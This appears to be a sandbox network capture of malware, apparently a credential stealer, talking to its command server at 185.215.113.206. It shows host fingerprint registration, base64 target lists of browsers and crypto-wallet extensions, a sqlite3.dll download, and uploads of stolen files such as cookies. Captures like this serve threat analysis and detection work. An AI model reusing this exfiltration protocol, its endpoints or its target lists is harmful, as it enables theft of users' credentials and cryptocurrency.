Oct 30, 2024 15:59:04.036372900 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:04.047686100 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKECFIIEHCFHIECAFBA Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 32 36 44 39 32 35 36 45 34 36 33 36 38 32 32 34 35 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 2d 2d 0d 0a Data Ascii: ------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="hwid"EB26D9256E46368224558------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="build"tale------FBKECFIIEHCFHIECAFBA--
Oct 30, 2024 15:59:04.337783098 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 45 78 5a 6a 63 78 4d 7a 55 77 4d 44 56 6d 4e 7a 63 78 4d 57 59 32 5a 6d 4d 33 5a 6d 59 34 5a 6a 4d 77 5a 47 45 30 4e 54 68 6b 59 6d 55 77 4d 54 42 6d 59 54 45 31 4e 54 52 68 4e 44 68 6d 59 6a 41 30 5a 6a 6b 35 4f 47 4d 30 4e 6a 45 31 4d 6d 45 33 4d 6a 55 77 4f 57 59 33 4d 44 59 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTExZjcxMzUwMDVmNzcxMWY2ZmM3ZmY4ZjMwZGE0NThkYmUwMTBmYTE1NTRhNDhmYjA0Zjk5OGM0NjE1MmE3MjUwOWY3MDY0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 15:59:04.340013027 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="message"browsers------AECFCAAECBGDGDHIEHJE--
Oct 30, 2024 15:59:04.623322010 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 15:59:04.623349905 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 15:59:04.624996901 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="message"plugins------GDGHJEHJJDAAAKEBGCFC--
Oct 30, 2024 15:59:04.909523964 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 15:59:04.909549952 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 30, 2024 15:59:04.909569979 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 30, 2024 15:59:04.909749031 CET	636	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 30, 2024 15:59:04.909761906 CET	1236	IN	Data Raw: 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d Data Ascii: ZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZ
Oct 30, 2024 15:59:04.909796953 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 Data Ascii: IFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJv
Oct 30, 2024 15:59:04.909811974 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 30, 2024 15:59:04.909835100 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 30, 2024 15:59:04.911612988 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="message"fplugins------DGHIDAFCGIEHIEBFCFBA--
Oct 30, 2024 15:59:05.193166018 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 15:59:05.212642908 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: 185.215.113.206 Content-Length: 6463 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 15:59:05.212642908 CET	6463	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 15:59:06.005985975 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:06.406517982 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:06.693532944 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 15:59:06.693561077 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49805	185.215.113.206	80	5580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 15:59:20.437486887 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 15:59:20.437505960 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
